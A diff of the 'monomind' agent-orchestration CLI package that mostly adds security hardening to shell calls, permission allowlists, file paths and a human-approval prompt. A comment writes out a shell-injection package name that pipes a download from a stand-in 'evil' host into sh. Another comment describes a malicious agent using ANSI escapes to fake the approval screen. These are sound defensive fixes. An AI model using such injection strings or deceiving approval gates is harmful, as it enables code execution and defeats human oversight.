- package/packages/@monomind/cli/dist/src/transfer/store/download.d.ts +15 -6
- package/packages/@monomind/cli/dist/src/transfer/store/download.js +113 -24
- package/packages/@monomind/cli/dist/src/transfer/store/publish.d.ts +1 -1
- package/packages/@monomind/cli/dist/src/transfer/store/publish.js +13 -14
- package/packages/@monomind/cli/dist/src/transfer/store/registry.d.ts +3 -3
- package/packages/@monomind/cli/dist/src/transfer/store/registry.js +32 -16
- package/packages/@monomind/cli/dist/src/update/checker.js +17 -4
- package/packages/@monomind/cli/dist/src/update/executor.js +25 -20
- package/packages/@monomind/cli/dist/src/update/rate-limiter.d.ts +11 -0
- package/packages/@monomind/cli/dist/src/update/rate-limiter.js +23 -3
- package/packages/@monomind/cli/dist/src/utils/parse-jsonl.d.ts +6 -0
- package/packages/@monomind/cli/dist/src/utils/parse-jsonl.js +22 -0
- package/packages/@monomind/cli/dist/src/workflow/condition-evaluator.js +37 -3
- package/packages/@monomind/cli/dist/src/workflow/dag-builder.js +27 -11
- package/packages/@monomind/cli/dist/src/workflow/dag-executor.js +51 -13
- package/packages/@monomind/cli/dist/src/workflow/dsl-schema.d.ts +3 -0
- package/packages/@monomind/cli/dist/src/workflow/dsl-schema.js +6 -2
- package/packages/@monomind/cli/dist/src/workflow/template-engine.js +7 -0
- package/packages/@monomind/cli/dist/src/workflow/workflow-executor.js +95 -14
- package/packages/@monomind/cli/package.json +5 -3
- package/packages/@monomind/guidance/README.md +1192 -0
- package/packages/@monomind/shared/README.md +322 -0
- package/packages/@monomind/shared/dist/types/consensus-audit.d.ts +3 -1
- package/packages/README.md +513 -0
- package/.claude/agents/design/design-brand-guardian.md +0 -323
- package/.claude/agents/design/design-image-prompt-engineer.md +0 -237
- package/.claude/agents/design/design-inclusive-visuals-specialist.md +0 -72
- package/.claude/agents/design/design-ui-designer.md +0 -384
- package/.claude/agents/design/design-ux-architect.md +0 -470
- package/.claude/agents/design/design-ux-researcher.md +0 -330
- package/.claude/agents/design/design-visual-storyteller.md +0 -150
- package/.claude/agents/design/design-whimsy-injector.md +0 -439
- package/.claude/agents/v3/integration-architect.md +0 -338
- package/.claude/commands/analysis/COMMAND_COMPLIANCE_REPORT.md +0 -54
- package/.claude/commands/coordination/init.md +0 -44
- package/.claude/commands/coordination/orchestrate.md +0 -43
- package/.claude/commands/coordination/spawn.md +0 -45
- package/.claude/commands/github/code-review-swarm.md +0 -550
- package/.claude/commands/github/code-review.md +0 -25
- package/.claude/commands/github/github-swarm.md +0 -121
- package/.claude/commands/github/issue-triage.md +0 -25
- package/.claude/commands/github/multi-repo-swarm.md +0 -519
- package/.claude/commands/github/pr-enhance.md +0 -26
- package/.claude/commands/github/project-board-sync.md +0 -471
- package/.claude/commands/github/release-swarm.md +0 -590
- package/.claude/commands/github/repo-analyze.md +0 -25
- package/.claude/commands/github/swarm-issue.md +0 -482
- package/.claude/commands/github/swarm-pr.md +0 -310
- package/.claude/commands/github/workflow-automation.md +0 -468
- package/.claude/commands/hive-mind/hive-mind-metrics.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-resume.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-sessions.md +0 -8
- package/.claude/commands/hive-mind/hive-mind-wizard.md +0 -8
- package/.claude/commands/list-agents.md +0 -17
- package/.claude/commands/memory/memory-persist.md +0 -25
- package/.claude/commands/memory/memory-usage.md +0 -25
- package/.claude/commands/memory/neural.md +0 -47
- package/.claude/commands/metrics.md +0 -11
- package/.claude/commands/monitoring/real-time-view.md +0 -25
- package/.claude/commands/monitoring/swarm-monitor.md +0 -25
- package/.claude/commands/monomind-createtask.md +0 -302
- package/.claude/commands/monomind-help.md +0 -103
- package/.claude/commands/monomind-memory.md +0 -107
- package/.claude/commands/monomind-repeat.md +0 -149
- package/.claude/commands/monomind-swarm.md +0 -205
- package/.claude/commands/optimization/cache-manage.md +0 -25
- package/.claude/commands/optimization/topology-optimize.md +0 -25
- package/.claude/commands/pair/commands.md +0 -546
- package/.claude/commands/pair/config.md +0 -510
- package/.claude/commands/pair/start.md +0 -209
- package/.claude/commands/use-agent.md +0 -67
- package/.claude/skills/monomind-createtask/SKILL.md +0 -269
- package/.claude/skills/monomind-task-engine/SKILL.md +0 -358
- /package/.claude/agents/{v3 → specialists}/memory-specialist.md +0 -0
- /package/.claude/agents/{v3 → specialists}/performance-engineer.md +0 -0
- /package/.claude/agents/{v3 → specialists}/queen-coordinator.md +0 -0
- /package/.claude/agents/{v3 → specialists}/security-architect.md +0 -0
|
@@ -307,8 +307,14 @@ const commands = {
|
|
|
307
307
|
console.error('Key required');
|
|
308
308
|
return;
|
|
309
309
|
}
|
|
310
|
+
// Reject prototype-pollution keys: \`memory[key] = value\` with key='__proto__'
|
|
311
|
+
// performs a prototype-set, polluting Object.prototype for the process.
|
|
312
|
+
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
|
|
313
|
+
console.error('Forbidden key');
|
|
314
|
+
process.exit(2);
|
|
315
|
+
}
|
|
310
316
|
const memory = loadMemory();
|
|
311
|
-
memory
|
|
317
|
+
Object.defineProperty(memory, key, { value, enumerable: true, configurable: true, writable: true });
|
|
312
318
|
memory._updated = new Date().toISOString();
|
|
313
319
|
saveMemory(memory);
|
|
314
320
|
console.log(\`Set: \${key}\`);
|
|
@@ -319,6 +325,10 @@ const commands = {
|
|
|
319
325
|
console.error('Key required');
|
|
320
326
|
return;
|
|
321
327
|
}
|
|
328
|
+
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
|
|
329
|
+
console.error('Forbidden key');
|
|
330
|
+
process.exit(2);
|
|
331
|
+
}
|
|
322
332
|
const memory = loadMemory();
|
|
323
333
|
delete memory[key];
|
|
324
334
|
saveMemory(memory);
|
|
@@ -477,15 +487,11 @@ export function generateHookHandler() {
|
|
|
477
487
|
' },',
|
|
478
488
|
'',
|
|
479
489
|
" 'pre-bash': () => {",
|
|
480
|
-
|
|
481
|
-
"
|
|
482
|
-
|
|
483
|
-
'
|
|
484
|
-
"
|
|
485
|
-
' process.exit(1);',
|
|
486
|
-
' }',
|
|
487
|
-
' }',
|
|
488
|
-
" console.log('[OK] Command validated');",
|
|
490
|
+
" // NOTE: This hook is intentionally NOT a security filter. A 4-substring",
|
|
491
|
+
" // check is trivially bypassed (extra spaces, find -delete, dd, bash -c, etc.)",
|
|
492
|
+
" // and shipping a fake check creates false confidence. Real safety lives in",
|
|
493
|
+
" // Claude Code's permission prompt and sandboxing. Hook is observability-only.",
|
|
494
|
+
" console.log('[OK] Command validation delegated to Claude Code permissions');",
|
|
489
495
|
' },',
|
|
490
496
|
'',
|
|
491
497
|
" 'post-edit': () => {",
|
|
@@ -498,18 +504,19 @@ export function generateHookHandler() {
|
|
|
498
504
|
' intelligence.recordEdit(file);',
|
|
499
505
|
' } catch (e) { /* non-fatal */ }',
|
|
500
506
|
' }',
|
|
501
|
-
' // Auto-rebuild
|
|
507
|
+
' // Auto-rebuild monograph knowledge graph for code file changes',
|
|
502
508
|
' try {',
|
|
503
509
|
" var editedFile = process.env.TOOL_INPUT_file_path || args[0] || '';",
|
|
504
510
|
" var isCode = /\\.(ts|js|tsx|jsx|py|go|rs|java|c|cpp|h|cs|rb|php|swift|kt|scala)$/.test(editedFile);",
|
|
505
|
-
" var
|
|
506
|
-
" if (isCode && require('fs').existsSync(
|
|
507
|
-
"
|
|
508
|
-
"
|
|
511
|
+
" var dbFile = require('path').join(process.cwd(), '.monomind', 'monograph.db');",
|
|
512
|
+
" if (isCode && require('fs').existsSync(dbFile)) {",
|
|
513
|
+
" var s = `import { buildAsync } from '@monoes/monograph'; buildAsync(${JSON.stringify(process.cwd())}).catch(()=>{});`;",
|
|
514
|
+
" require('child_process').spawn(process.execPath, ['--input-type=module', '--eval', s], {",
|
|
515
|
+
" detached: true, stdio: 'ignore'",
|
|
509
516
|
' }).unref();',
|
|
510
|
-
" console.log('[
|
|
517
|
+
" console.log('[MONOGRAPH] Queued graph rebuild for: ' + require('path').basename(editedFile));",
|
|
511
518
|
' }',
|
|
512
|
-
' } catch (e) { /* non-fatal —
|
|
519
|
+
' } catch (e) { /* non-fatal — monograph may not be installed */ }',
|
|
513
520
|
" console.log('[OK] Edit recorded');",
|
|
514
521
|
' },',
|
|
515
522
|
'',
|
|
@@ -684,11 +691,13 @@ export function generateIntelligenceStub() {
|
|
|
684
691
|
' return text.toLowerCase().replace(/[^a-z0-9\\s]/g, " ").split(/\\s+/).filter(function(w) { return w.length > 2; });',
|
|
685
692
|
'}',
|
|
686
693
|
'',
|
|
687
|
-
'// Bootstrap entries from MEMORY.md files when store is empty',
|
|
694
|
+
'// Bootstrap entries from MEMORY.md files when store is empty.',
|
|
695
|
+
'// SECURITY: ONLY walk the current project. Walking ~/.claude/projects',
|
|
696
|
+
'// previously caused cross-project memory leakage — entries from project A',
|
|
697
|
+
'// (potentially containing secrets) would surface in prompts in project B.',
|
|
688
698
|
'function bootstrapFromMemoryFiles() {',
|
|
689
699
|
' var entries = [];',
|
|
690
700
|
' var candidates = [',
|
|
691
|
-
' path.join(os.homedir(), ".claude", "projects"),',
|
|
692
701
|
' path.join(process.cwd(), ".monomind", "memory"),',
|
|
693
702
|
' path.join(process.cwd(), ".claude", "memory"),',
|
|
694
703
|
' ];',
|
|
@@ -934,11 +943,15 @@ function doStatus() {
|
|
|
934
943
|
console.log('');
|
|
935
944
|
}
|
|
936
945
|
|
|
937
|
-
// Suppress unhandled rejection warnings
|
|
946
|
+
// Suppress unhandled rejection warnings ONLY for genuine module-not-found from
|
|
947
|
+
// optional dynamic imports. Previously this swallowed any error whose message
|
|
948
|
+
// contained "Cannot find" (e.g. "Cannot find user with id ..."), masking real
|
|
949
|
+
// failures and security regressions.
|
|
938
950
|
process.on('unhandledRejection', (reason) => {
|
|
939
|
-
|
|
940
|
-
if (
|
|
951
|
+
const code = reason && typeof reason === 'object' ? reason.code : undefined;
|
|
952
|
+
if (code === 'ERR_MODULE_NOT_FOUND' || code === 'MODULE_NOT_FOUND') return;
|
|
941
953
|
if (reason instanceof Error) throw reason;
|
|
954
|
+
throw new Error(String(reason));
|
|
942
955
|
});
|
|
943
956
|
|
|
944
957
|
const command = process.argv[2] || 'status';
|
|
@@ -51,9 +51,9 @@ export function generateMCPConfig(options) {
|
|
|
51
51
|
MONOMIND_MEMORY_BACKEND: options.runtime.memoryBackend,
|
|
52
52
|
}, { autoStart: config.autoStart });
|
|
53
53
|
}
|
|
54
|
-
//
|
|
55
|
-
// Available as
|
|
56
|
-
// No separate server needed — the monomind entry above provides all
|
|
54
|
+
// Monograph knowledge graph — built into monomind MCP server since v1.8.0.
|
|
55
|
+
// Available as mcp__monomind__monograph_build, monograph_query, monograph_suggest, monograph_health.
|
|
56
|
+
// No separate server needed — the monomind entry above provides all monograph tools.
|
|
57
57
|
return { mcpServers };
|
|
58
58
|
}
|
|
59
59
|
/**
|
|
@@ -17,11 +17,18 @@ export function generateSettings(options) {
|
|
|
17
17
|
settings.statusLine = generateStatusLineConfig(options);
|
|
18
18
|
}
|
|
19
19
|
// Add permissions
|
|
20
|
+
// SECURITY: tightened allowlist patterns.
|
|
21
|
+
// `Bash(npx monomind*)` previously matched any package starting with
|
|
22
|
+
// "monomind" (including a hypothetical future typosquat). Anchor to the
|
|
23
|
+
// official scope/namespaces only, with an explicit space between command
|
|
24
|
+
// tokens so partial-prefix matches are rejected.
|
|
20
25
|
settings.permissions = {
|
|
21
26
|
allow: [
|
|
22
|
-
'Bash(npx @
|
|
23
|
-
'Bash(npx monomind*)',
|
|
24
|
-
'Bash(
|
|
27
|
+
'Bash(npx @monomind/*)',
|
|
28
|
+
'Bash(npx monomind *)',
|
|
29
|
+
'Bash(npx -y monomind *)',
|
|
30
|
+
'Bash(npx monomind@*)',
|
|
31
|
+
'Bash(node .claude/helpers/*)',
|
|
25
32
|
'mcp__monomind__:*',
|
|
26
33
|
],
|
|
27
34
|
deny: [
|
|
@@ -7,7 +7,7 @@
|
|
|
7
7
|
*/
|
|
8
8
|
import * as fs from 'node:fs';
|
|
9
9
|
import * as path from 'node:path';
|
|
10
|
-
import {
|
|
10
|
+
import { execFileSync } from 'node:child_process';
|
|
11
11
|
function readJSON(p) {
|
|
12
12
|
try {
|
|
13
13
|
return JSON.parse(fs.readFileSync(p, 'utf-8'));
|
|
@@ -550,11 +550,26 @@ export function writeSharedInstructions(cwd, force, result) {
|
|
|
550
550
|
}
|
|
551
551
|
fs.writeFileSync(siPath, content, 'utf-8');
|
|
552
552
|
result.created.files.push('.agents/shared_instructions.md');
|
|
553
|
-
// Seed memory (best-effort, non-blocking)
|
|
553
|
+
// Seed memory (best-effort, non-blocking).
|
|
554
|
+
// SECURITY: previously the seed.key (built from package.json `name`) was
|
|
555
|
+
// interpolated into a shell command via execSync. A malicious package.json
|
|
556
|
+
// with a name like `x"; curl evil | sh; #` produced shell injection during
|
|
557
|
+
// `monomind init`. Switch to execFileSync (array argv, no shell) and
|
|
558
|
+
// reject seed inputs that don't match a tight regex.
|
|
559
|
+
const KEY_RE = /^[a-zA-Z0-9._:/-]{1,128}$/;
|
|
560
|
+
const NS_RE = /^[a-zA-Z0-9_-]{1,64}$/;
|
|
554
561
|
const seeds = generateMemorySeeds(profile);
|
|
555
562
|
for (const seed of seeds) {
|
|
563
|
+
if (!KEY_RE.test(seed.key) || !NS_RE.test(seed.namespace) || typeof seed.value !== 'string') {
|
|
564
|
+
continue;
|
|
565
|
+
}
|
|
556
566
|
try {
|
|
557
|
-
|
|
567
|
+
execFileSync('npx', [
|
|
568
|
+
'--yes', 'monomind@latest', 'memory', 'store',
|
|
569
|
+
'--key', seed.key,
|
|
570
|
+
'--value', seed.value,
|
|
571
|
+
'--namespace', seed.namespace,
|
|
572
|
+
], { cwd, stdio: 'ignore', timeout: 8000 });
|
|
558
573
|
}
|
|
559
574
|
catch {
|
|
560
575
|
// Non-critical — memory seeding is best-effort
|
|
@@ -911,7 +911,9 @@ function generateDashboard() {
|
|
|
911
911
|
|
|
912
912
|
// ── Header: brand + git + model + session ────────────────────
|
|
913
913
|
const swarmDot = swarm.coordinationActive ? \`\${x.green}● LIVE\${x.reset}\` : \`\${x.slate}○ IDLE\${x.reset}\`;
|
|
914
|
-
|
|
914
|
+
const projName = getProjectName();
|
|
915
|
+
const cwdName = path.basename(CWD);
|
|
916
|
+
let hdr = \`\${x.bold}\${x.purple}▊ Monomind \${VERSION}\${x.reset} \${swarmDot} \${x.teal}\${x.bold}\${projName}\${x.reset} \${DIV} \${x.dim}◎ \${cwdName}\${x.reset} \${DIV} \${x.violet}⬡ \${git.name}\${x.reset}\`;
|
|
915
917
|
|
|
916
918
|
if (git.gitBranch) {
|
|
917
919
|
hdr += \` \${DIV} \${x.sky}⎇ \${x.bold}\${git.gitBranch}\${x.reset}\`;
|
|
@@ -24,7 +24,7 @@ export interface InitComponents {
|
|
|
24
24
|
runtime: boolean;
|
|
25
25
|
/** Create CLAUDE.md with swarm guidance */
|
|
26
26
|
claudeMd: boolean;
|
|
27
|
-
/** Build knowledge graph on init using
|
|
27
|
+
/** Build knowledge graph on init using monograph (TypeScript) */
|
|
28
28
|
graphify: boolean;
|
|
29
29
|
}
|
|
30
30
|
/**
|
|
@@ -64,16 +64,16 @@ export interface HooksConfig {
|
|
|
64
64
|
* Skills configuration
|
|
65
65
|
*/
|
|
66
66
|
export interface SkillsConfig {
|
|
67
|
-
/** Include core skills (swarm,
|
|
67
|
+
/** Include core skills (swarm, sparc, mastermind, monodesign, monomotion) */
|
|
68
68
|
core: boolean;
|
|
69
69
|
/** Include AgentDB skills */
|
|
70
70
|
agentdb: boolean;
|
|
71
71
|
/** Include GitHub integration skills */
|
|
72
72
|
github: boolean;
|
|
73
|
-
/** Include browser automation skills
|
|
73
|
+
/** Include browser automation skills */
|
|
74
74
|
browser: boolean;
|
|
75
|
-
/** Include
|
|
76
|
-
|
|
75
|
+
/** Include advanced skills (agentic-jujutsu, security, performance, etc.) */
|
|
76
|
+
advanced: boolean;
|
|
77
77
|
/** Include all available skills */
|
|
78
78
|
all: boolean;
|
|
79
79
|
}
|
|
@@ -81,22 +81,50 @@ export interface SkillsConfig {
|
|
|
81
81
|
* Commands configuration
|
|
82
82
|
*/
|
|
83
83
|
export interface CommandsConfig {
|
|
84
|
-
/** Include core commands */
|
|
84
|
+
/** Include core commands (mastermind.md, tokens.md, browse.md, sparc.md, ts.md) */
|
|
85
85
|
core: boolean;
|
|
86
|
+
/** Include agents commands */
|
|
87
|
+
agents?: boolean;
|
|
86
88
|
/** Include analysis commands */
|
|
87
89
|
analysis: boolean;
|
|
88
90
|
/** Include automation commands */
|
|
89
91
|
automation: boolean;
|
|
92
|
+
/** Include coordination commands */
|
|
93
|
+
coordination?: boolean;
|
|
90
94
|
/** Include github commands */
|
|
91
95
|
github: boolean;
|
|
96
|
+
/** Include hive-mind commands */
|
|
97
|
+
hiveMind?: boolean;
|
|
92
98
|
/** Include hooks commands */
|
|
93
99
|
hooks: boolean;
|
|
100
|
+
/** Include mastermind commands */
|
|
101
|
+
mastermind?: boolean;
|
|
102
|
+
/** Include memory commands */
|
|
103
|
+
memory?: boolean;
|
|
94
104
|
/** Include monitoring commands */
|
|
95
105
|
monitoring: boolean;
|
|
106
|
+
/** Include monograph commands */
|
|
107
|
+
monograph?: boolean;
|
|
108
|
+
/** Include monomind commands */
|
|
109
|
+
monomind?: boolean;
|
|
96
110
|
/** Include optimization commands */
|
|
97
111
|
optimization: boolean;
|
|
112
|
+
/** Include pair commands */
|
|
113
|
+
pair?: boolean;
|
|
98
114
|
/** Include SPARC commands */
|
|
99
115
|
sparc: boolean;
|
|
116
|
+
/** Include stream-chain commands */
|
|
117
|
+
streamChain?: boolean;
|
|
118
|
+
/** Include swarm commands */
|
|
119
|
+
swarm?: boolean;
|
|
120
|
+
/** Include training commands */
|
|
121
|
+
training?: boolean;
|
|
122
|
+
/** Include truth commands */
|
|
123
|
+
truth?: boolean;
|
|
124
|
+
/** Include verify commands */
|
|
125
|
+
verify?: boolean;
|
|
126
|
+
/** Include workflows commands */
|
|
127
|
+
workflows?: boolean;
|
|
100
128
|
/** Include all commands */
|
|
101
129
|
all: boolean;
|
|
102
130
|
}
|
|
@@ -116,10 +144,6 @@ export interface AgentsConfig {
|
|
|
116
144
|
sparc: boolean;
|
|
117
145
|
/** Include swarm coordinators */
|
|
118
146
|
swarm: boolean;
|
|
119
|
-
/** Include browser automation agents (agent-browser) */
|
|
120
|
-
browser: boolean;
|
|
121
|
-
/** Include V1-specific agents (security, memory, performance, etc.) */
|
|
122
|
-
v1: boolean;
|
|
123
147
|
/** Include optimization agents */
|
|
124
148
|
optimization: boolean;
|
|
125
149
|
/** Include testing agents */
|
|
@@ -154,7 +178,7 @@ export interface MCPConfig {
|
|
|
154
178
|
monomind: boolean;
|
|
155
179
|
/** Include ruv-swarm MCP server */
|
|
156
180
|
ruvSwarm: boolean;
|
|
157
|
-
/** Include
|
|
181
|
+
/** Include monograph knowledge graph MCP server */
|
|
158
182
|
graphify: boolean;
|
|
159
183
|
/** Auto-start MCP server */
|
|
160
184
|
autoStart: boolean;
|
|
@@ -76,8 +76,8 @@ export const DEFAULT_INIT_OPTIONS = {
|
|
|
76
76
|
agentdb: true,
|
|
77
77
|
github: true,
|
|
78
78
|
browser: true,
|
|
79
|
-
|
|
80
|
-
all:
|
|
79
|
+
advanced: true,
|
|
80
|
+
all: true,
|
|
81
81
|
},
|
|
82
82
|
commands: {
|
|
83
83
|
core: true,
|
|
@@ -88,7 +88,7 @@ export const DEFAULT_INIT_OPTIONS = {
|
|
|
88
88
|
monitoring: true,
|
|
89
89
|
optimization: true,
|
|
90
90
|
sparc: true,
|
|
91
|
-
all:
|
|
91
|
+
all: true,
|
|
92
92
|
},
|
|
93
93
|
agents: {
|
|
94
94
|
core: true,
|
|
@@ -97,8 +97,6 @@ export const DEFAULT_INIT_OPTIONS = {
|
|
|
97
97
|
hiveMind: true,
|
|
98
98
|
sparc: true,
|
|
99
99
|
swarm: true,
|
|
100
|
-
browser: true,
|
|
101
|
-
v1: true,
|
|
102
100
|
optimization: true,
|
|
103
101
|
testing: true,
|
|
104
102
|
all: true,
|
|
@@ -169,7 +167,7 @@ export const MINIMAL_INIT_OPTIONS = {
|
|
|
169
167
|
agentdb: false,
|
|
170
168
|
github: false,
|
|
171
169
|
browser: false,
|
|
172
|
-
|
|
170
|
+
advanced: false,
|
|
173
171
|
all: false,
|
|
174
172
|
},
|
|
175
173
|
agents: {
|
|
@@ -179,8 +177,6 @@ export const MINIMAL_INIT_OPTIONS = {
|
|
|
179
177
|
hiveMind: false,
|
|
180
178
|
sparc: false,
|
|
181
179
|
swarm: false,
|
|
182
|
-
browser: false,
|
|
183
|
-
v1: false,
|
|
184
180
|
optimization: false,
|
|
185
181
|
testing: false,
|
|
186
182
|
all: false,
|
|
@@ -227,7 +223,7 @@ export const FULL_INIT_OPTIONS = {
|
|
|
227
223
|
agentdb: true,
|
|
228
224
|
github: true,
|
|
229
225
|
browser: true,
|
|
230
|
-
|
|
226
|
+
advanced: true,
|
|
231
227
|
all: true,
|
|
232
228
|
},
|
|
233
229
|
commands: {
|
|
@@ -31,11 +31,16 @@ export class InterruptController {
|
|
|
31
31
|
input: process.stdin,
|
|
32
32
|
output: process.stdout,
|
|
33
33
|
});
|
|
34
|
+
// Strip control characters from interpolated fields. ANSI escape sequences
|
|
35
|
+
// in any of these fields would let a malicious agent or LLM-generated task
|
|
36
|
+
// description redraw the screen and trick the user into approving an
|
|
37
|
+
// entirely different action than the one shown — defeating this very gate.
|
|
38
|
+
const safe = (s) => String(s ?? '').replace(/[\x00-\x1f\x7f-\x9f]/g, '?').slice(0, 500);
|
|
34
39
|
console.log('\n' + '='.repeat(60));
|
|
35
40
|
console.log('[MONOMIND] Interrupt — Human approval required');
|
|
36
|
-
console.log(` Agent: ${agentSlug}`);
|
|
37
|
-
console.log(` Task: ${taskDescription}`);
|
|
38
|
-
console.log(` Checkpoint: ${checkpointId}`);
|
|
41
|
+
console.log(` Agent: ${safe(agentSlug)}`);
|
|
42
|
+
console.log(` Task: ${safe(taskDescription)}`);
|
|
43
|
+
console.log(` Checkpoint: ${safe(checkpointId)}`);
|
|
39
44
|
console.log('='.repeat(60));
|
|
40
45
|
console.log(' Options: [y] approve [n] reject [e] edit task');
|
|
41
46
|
return new Promise((resolve) => {
|
|
@@ -4,8 +4,8 @@
|
|
|
4
4
|
* Manages semver versioning for MCP tools with deprecation tracking
|
|
5
5
|
* and tool-to-agent impact analysis. Uses JSONL file storage.
|
|
6
6
|
*/
|
|
7
|
-
import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync,
|
|
8
|
-
import { join, dirname, extname } from 'path';
|
|
7
|
+
import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync, lstatSync, } from 'fs';
|
|
8
|
+
import { join, dirname, extname, resolve, sep } from 'path';
|
|
9
9
|
/** Default JSONL storage path relative to project root. */
|
|
10
10
|
const DEFAULT_STORAGE_PATH = '.monomind/tool-versions.jsonl';
|
|
11
11
|
/**
|
|
@@ -19,7 +19,14 @@ export class ToolRegistry {
|
|
|
19
19
|
history = [];
|
|
20
20
|
storagePath;
|
|
21
21
|
constructor(storagePath = DEFAULT_STORAGE_PATH) {
|
|
22
|
-
|
|
22
|
+
const resolvedPath = resolve(storagePath);
|
|
23
|
+
const allowedRoot = process.env.MONOMIND_DATA_DIR
|
|
24
|
+
? resolve(process.env.MONOMIND_DATA_DIR)
|
|
25
|
+
: resolve(process.cwd());
|
|
26
|
+
if (resolvedPath !== allowedRoot && !resolvedPath.startsWith(allowedRoot + sep)) {
|
|
27
|
+
throw new Error(`Tool registry storagePath escapes allowed root: ${resolvedPath}`);
|
|
28
|
+
}
|
|
29
|
+
this.storagePath = resolvedPath;
|
|
23
30
|
this.loadFromDisk();
|
|
24
31
|
}
|
|
25
32
|
/**
|
|
@@ -94,6 +101,11 @@ export class ToolRegistry {
|
|
|
94
101
|
* mention the tool name.
|
|
95
102
|
*/
|
|
96
103
|
getImpactedAgents(toolName, agentsDir = 'agents') {
|
|
104
|
+
// Reject empty or short tool names — `content.includes('')` returns true
|
|
105
|
+
// for every file, turning the registry into a directory enumerator.
|
|
106
|
+
if (typeof toolName !== 'string' || toolName.length < 2 || !/^[a-zA-Z0-9_.-]+$/.test(toolName)) {
|
|
107
|
+
return [];
|
|
108
|
+
}
|
|
97
109
|
const impacted = [];
|
|
98
110
|
const mdFiles = collectMdFiles(agentsDir);
|
|
99
111
|
for (const filePath of mdFiles) {
|
|
@@ -144,16 +156,32 @@ export class ToolRegistry {
|
|
|
144
156
|
catch {
|
|
145
157
|
return;
|
|
146
158
|
}
|
|
159
|
+
const NAME_RE = /^[a-zA-Z0-9_.-]{1,128}$/;
|
|
160
|
+
const STR_MAX = 500;
|
|
147
161
|
for (const line of raw.split('\n')) {
|
|
148
162
|
const trimmed = line.trim();
|
|
149
163
|
if (!trimmed)
|
|
150
164
|
continue;
|
|
151
165
|
try {
|
|
152
166
|
const record = JSON.parse(trimmed);
|
|
167
|
+
if (!record || typeof record !== 'object')
|
|
168
|
+
continue;
|
|
169
|
+
// Validate fields before storage. The JSONL file lives on disk; an
|
|
170
|
+
// attacker with local write access could otherwise plant attacker-controlled
|
|
171
|
+
// strings (e.g. malicious deprecationMessage with markup) that reach
|
|
172
|
+
// downstream renderers (DOT visualizer, deprecation-injector warnings).
|
|
153
173
|
if (record._type === 'tool') {
|
|
174
|
+
if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
|
|
175
|
+
continue;
|
|
176
|
+
if (record.successor !== undefined && (typeof record.successor !== 'string' || !NAME_RE.test(record.successor)))
|
|
177
|
+
continue;
|
|
178
|
+
if (record.deprecationMessage !== undefined && (typeof record.deprecationMessage !== 'string' || record.deprecationMessage.length > STR_MAX))
|
|
179
|
+
continue;
|
|
154
180
|
this.tools.set(record.toolName, record);
|
|
155
181
|
}
|
|
156
182
|
else if (record._type === 'history') {
|
|
183
|
+
if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
|
|
184
|
+
continue;
|
|
157
185
|
this.history.push(record);
|
|
158
186
|
}
|
|
159
187
|
}
|
|
@@ -195,11 +223,17 @@ function collectMdFiles(root) {
|
|
|
195
223
|
const full = join(root, entry);
|
|
196
224
|
let stat;
|
|
197
225
|
try {
|
|
198
|
-
|
|
226
|
+
// Use lstatSync so symlinks aren't followed — otherwise a symlink under
|
|
227
|
+
// `agentsDir` could redirect this scan into arbitrary filesystem
|
|
228
|
+
// locations, which combined with `getImpactedAgents` becomes a content
|
|
229
|
+
// oracle that fingerprints arbitrary text files outside the project.
|
|
230
|
+
stat = lstatSync(full);
|
|
199
231
|
}
|
|
200
232
|
catch {
|
|
201
233
|
continue;
|
|
202
234
|
}
|
|
235
|
+
if (stat.isSymbolicLink())
|
|
236
|
+
continue;
|
|
203
237
|
if (stat.isDirectory()) {
|
|
204
238
|
results.push(...collectMdFiles(full));
|
|
205
239
|
}
|
|
@@ -51,11 +51,17 @@ import { a2aTools } from './mcp-tools/a2a-tools.js';
|
|
|
51
51
|
* Maps tool names to their handler functions
|
|
52
52
|
*/
|
|
53
53
|
const TOOL_REGISTRY = new Map();
|
|
54
|
-
// Register all tools
|
|
55
|
-
|
|
56
|
-
|
|
54
|
+
// Register all tools — refuse silent overrides so a future plugin/IPFS-loaded
|
|
55
|
+
// tool cannot shadow a built-in handler (e.g. `agent_spawn`, `memory_store`)
|
|
56
|
+
// without an explicit override flag. Logical-name collision is a real concern
|
|
57
|
+
// when the plugin system goes live.
|
|
58
|
+
function registerTools(tools, options = {}) {
|
|
59
|
+
for (const tool of tools) {
|
|
60
|
+
if (TOOL_REGISTRY.has(tool.name) && !options.override) {
|
|
61
|
+
throw new Error(`Tool name collision: ${tool.name} already registered`);
|
|
62
|
+
}
|
|
57
63
|
TOOL_REGISTRY.set(tool.name, tool);
|
|
58
|
-
}
|
|
64
|
+
}
|
|
59
65
|
}
|
|
60
66
|
// Initialize registry with all available tools
|
|
61
67
|
registerTools([
|
|
@@ -13,7 +13,7 @@
|
|
|
13
13
|
* - Health check: <10ms
|
|
14
14
|
* - Graceful shutdown: <5s
|
|
15
15
|
*
|
|
16
|
-
* @module @
|
|
16
|
+
* @module @monomind/cli/mcp-server
|
|
17
17
|
* @version 3.0.0
|
|
18
18
|
*/
|
|
19
19
|
import { EventEmitter } from 'events';
|
|
@@ -58,6 +58,7 @@ export declare class MCPServerManager extends EventEmitter {
|
|
|
58
58
|
private process?;
|
|
59
59
|
private server?;
|
|
60
60
|
private startTime?;
|
|
61
|
+
private _stdioServerStarted;
|
|
61
62
|
private healthCheckInterval?;
|
|
62
63
|
constructor(options?: MCPServerOptions);
|
|
63
64
|
/**
|
|
@@ -94,7 +95,13 @@ export declare class MCPServerManager extends EventEmitter {
|
|
|
94
95
|
*/
|
|
95
96
|
private handleMCPMessage;
|
|
96
97
|
/**
|
|
97
|
-
* Start HTTP server in-process
|
|
98
|
+
* Start HTTP server in-process.
|
|
99
|
+
*
|
|
100
|
+
* SECURITY: refuses to bind to non-loopback hosts unless the operator opts
|
|
101
|
+
* in via MONOMIND_MCP_ALLOW_REMOTE=1 AND provides a bearer token via
|
|
102
|
+
* MONOMIND_MCP_TOKEN. Without this gate, `--host 0.0.0.0` exposed every
|
|
103
|
+
* registered tool (including agent_spawn, terminal-tools, system tools) to
|
|
104
|
+
* any LAN attacker as unauthenticated RCE.
|
|
98
105
|
*/
|
|
99
106
|
private startHttpServer;
|
|
100
107
|
/**
|